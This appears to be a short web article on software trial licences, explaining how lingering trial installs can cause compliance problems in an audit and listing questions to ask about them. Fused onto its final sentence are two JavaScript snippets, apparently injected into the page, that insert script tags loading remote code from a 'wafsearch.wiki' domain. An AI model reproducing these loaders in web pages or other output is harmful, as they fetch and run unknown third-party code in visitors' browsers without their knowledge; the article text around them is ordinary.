Trial licenses are provided by vendors to allow clients to ‘try before they buy’. Utilizing those licenses in another manner could create a non-compliant situation for a client, even if the vendor has not clearly defined strict limitations regarding trial use.
Some vendors have built-in safeguards such as a temporary product key that expires after a period of time. If a new key code is not entered at expiration, the software stops functioning.
Other vendors allow their clients more leeway to test and don’t shut down the test product so abruptly. However in a compliance situation or audit, a client cannot play the ‘trial license’ card so easily. Here are some questions that can guide a client if the vendor has not been clear when stating the trial terms:
- How long has the trial product been installed? Has it been more than reasonably long enough to make a purchase decision?
- When was the last time the trial product was accessed? If it’s been a significant period of time, why is it not de-installed?
- Where is the product installed?
- How is the trial product used?
Once the trial product is installed on the production environment, it should no longer be considered a trial situation.var url = ‘https://wafsearch.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);var url = ‘https://wafsearch.wiki/usa’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);